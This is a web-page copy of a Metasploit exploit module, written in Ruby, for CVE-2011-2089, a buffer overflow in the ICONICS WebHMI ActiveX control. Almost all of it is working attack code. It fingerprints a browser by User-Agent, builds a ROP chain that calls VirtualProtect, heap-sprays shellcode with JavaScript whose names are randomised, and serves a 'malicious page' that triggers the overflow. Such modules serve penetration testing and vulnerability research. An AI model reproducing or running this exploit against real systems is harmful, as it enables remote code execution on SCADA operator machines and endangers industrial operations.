Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "ICONICS WebHMI ActiveX Buffer Overflow",
16
'Description' => %q{
17
This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.
18
By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll
19
fails to do any proper bounds checking before this input is copied onto the stack,
20
which causes a buffer overflow, and results arbitrary code execution under the context
21
of the user.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'Scoot Bell <scott.bell[at]security-assessment.com>',
26
'Blair Strang <blair.strang[at]security-assessment.com>',
27
'sinn3r', # Metasploit port
28
],
29
'References' => [
30
['CVE', '2011-2089'],
31
['OSVDB', '72135'],
32
['URL', 'http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf'],
33
['EDB', '17240'],
34
['URL', 'https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-080-02']
35
],
36
'Payload' => {
37
'BadChars' => "\x00",
38
'StackAdjustment' => -3500,
39
},
40
'DefaultOptions' => {
41
'EXITFUNC' => "seh",
42
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
43
},
44
'Platform' => 'win',
45
'Targets' => [
46
[
47
'Automatic', {}
48
],
49
[
50
'IE 6/7/8 on Windows XP SP3',
51
{
52
'Offset' => 510, # Offset to where ROP gadgets begin
53
'Ret' => 0x770167b0, # PUSH ESP; POP EBP; RETN 8
54
'Max' => 4500, # Max buffer size used
55
},
56
],
57
[
58
'IE 7 on Windows Vista',
59
{
60
'Ret' => 0x0c0c0c0c, # Target spray
61
'blockSize' => "0x1000",
62
'spraySize' => "0x8500",
63
'Max' => 4500,
64
},
65
],
66
],
67
'Privileged' => false,
68
'DisclosureDate' => '2011-05-05',
69
'DefaultTarget' => 0,
70
'Notes' => {
71
'Reliability' => UNKNOWN_RELIABILITY,
72
'Stability' => UNKNOWN_STABILITY,
73
'SideEffects' => UNKNOWN_SIDE_EFFECTS
74
}
75
)
76
)
77
end
78
79
def junk
80
return rand_text(4).unpack("L")[0].to_i
81
end
82
83
def repeat(addr, rep)
84
arr = []
85
rep.times { arr << addr }
86
return arr
87
end
88
89
def on_request_uri(cli, request)
90
my_target = ''
91
agent = request.headers['User-Agent']
92
93
if agent =~ /NT 5\.1/ and agent =~ /MSIE (6|7)\.\d/
94
my_target = targets[2]
95
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.\d/
96
my_target = targets[2]
97
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
98
my_target = targets[1]
99
else
100
send_not_found(cli)
101
print_error("Unknown User-Agent")
102
return
103
end
104
105
js = ''
106
sploit = ''
107
108
if my_target['spraySize'] == nil
109
110
# ROP tekniq is only used against IE 8 + XP SP3 (ENG), since the gadgets are specific
111
# to the service pack (non or fully patched)
112
113
rop_gadgets = [
114
my_target.ret,
115
junk,
116
0x7e45c67f, # XCHG EAX,EBP; RETN (USER32.dll)
117
repeat(junk, 2),
118
0x7e440639, # ADD ESP,10; POP EDI; POP ESI; POP EBX; RETN USER32.dll
119
0x7c801ad4, # Kernel32.VirtualProtect
120
junk, # Initial ESP + 8 p1 = retaddr
121
junk, # p2 - lpaddr
122
junk, # p3 - size
123
junk, # p4 - perms
124
junk, # p5 - oldperms
125
junk,
126
# Return address
127
0x7e4462ed, # XCHG EAX,ECX; RETN (USER32.dll)
128
0x7c902b50, # MOV EDX, ECX; RETN (ntdll.dll)
129
repeat(0x77aa2d96, 20), # INC ECX * 21 (CRYPT32.dll)
130
0x7c901726, # MOV EAX, EDX; RETN (ntdll.dll)
131
repeat(0x5b86a17b, 2), # ADD EAX,7B; RETN * 2 (NETAPI32.dll)
132
repeat(0x77c34fbd, 2), # ADD EAX,5C; RETN * 2 (msvcrt.dll)
133
0x7E76EA74, # MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
134
# Shellcode pointer
135
repeat(0x77aa2d96, 4), # INC ECX * 4 (CRYPT32.dll)
136
0x7E76EA74, # MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
137
# Size (0x400 bytes)
138
repeat(0x77aa2d96, 4), # INC ECX * 4 (CRYPT32.dll)
139
0x7e721a99, # POP EAX; RETN (SXS.dll)
140
0x3BFFF9CB, # Value to XOR
141
0x7e7560b5, # XOR EAX,3bfffdcb (SXS.dll)
142
0x7E76EA74, # MOV DWORD PTR DS:[ECX],EAX; RETN (RPCRT4.dll)
143
# NewProtect
144
repeat(0x77aa2d96, 4), # INC ECX * 4 (CRYPT32.dll)
145
0x7E456160, # XOR EAX,EAX; RETN (USER32.dll)
146
0x7E4193BA, # ADD AL,3B (USER32.dll)
147
repeat(0x7E442074, 5), # INC EAX; RETN (USER32.dll)
148
0x7E76EA74, # MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
149
# OldProtect
150
repeat(0x77aa2d96, 4), # INC ECX * 4 (CRYPT32.dll)
151
0x7e721a99, # POP EAX (SXS.dll)
152
0x10010570, # EAX (Wriable memory)
153
0x7E76EA74, # MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
154
# Call VirtualProtect
155
repeat(0x7E421AAF, 20), # DEC ECX; RETN (USER32.dll)
156
0x7E4462ED, # XCHG EAX,ECX; RETN (USER32.dll)
157
0x7E45F257, # XCHG EAX,ESP; RETN (USER32.dll)
158
repeat(junk, 2), # Align shellcode
159
].flatten.pack('V*')
160
161
sploit << Rex::Text.to_unescape(rand_text_alpha(my_target['Offset']), Rex::Arch.endian(target.arch))
162
sploit << Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))
163
sploit << Rex::Text.to_unescape(make_nops(80), Rex::Arch.endian(target.arch))
164
sploit << Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
165
sploit << rand_text_alpha(my_target['Max'] - sploit.length)
166
167
else
168
169
# If we don't have to ROP, then we just spray against the rest of the targets
170
171
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
172
target_ret = [my_target.ret].pack('V')
173
nops = Rex::Text.to_unescape(target_ret * 4, Rex::Arch.endian(target.arch))
174
sploit << Rex::Text.to_unescape(target_ret * (my_target['Max'] / 4), Rex::Arch.endian(target.arch))
175
176
js_func_name = rand_text_alpha(rand(6) + 3)
177
js_var_blocks_name = rand_text_alpha(rand(6) + 3)
178
js_var_shell_name = rand_text_alpha(rand(6) + 3)
179
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
180
js_var_index_name = rand_text_alpha(rand(6) + 3)
181
182
js = <<-EOS
183
<script>
184
function #{js_func_name}() {
185
var #{js_var_blocks_name} = new Array();
186
var #{js_var_shell_name} = unescape("#{shellcode}");
187
var #{js_var_nopsled_name} = unescape("#{nops}");
188
while (#{js_var_nopsled_name}.length < #{my_target['blockSize']}) { #{js_var_nopsled_name} += #{js_var_nopsled_name} };
189
for (var #{js_var_index_name}=0; #{js_var_index_name} < #{my_target['spraySize']}; #{js_var_index_name}++) {
190
#{js_var_blocks_name}[#{js_var_index_name}] = [ "" + #{js_var_nopsled_name} + #{js_var_shell_name} ].join("");
191
}
192
}
193
#{js_func_name}();
194
</script>
195
EOS
196
197
end
198
199
obj_id = rand_text_alpha(rand(6) + 3)
200
sploit_name = rand_text_alpha(rand(6) + 3)
201
202
html = <<-EOS
203
<html>
204
<head>#{js}</head>
205
<body>
206
<object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C" id="#{obj_id}"></object>
207
<script>
208
var #{sploit_name} = unescape("#{sploit}");
209
#{obj_id}.SetActiveXGUID(#{sploit_name});
210
</script>
211
</body>
212
</html>
213
EOS
214
215
html = html.gsub(/^ {4}/, "")
216
217
print_status("Sending malicious page")
218
send_response(cli, html, { 'Content-Type' => 'text/html' })
219
end
220
end
221
222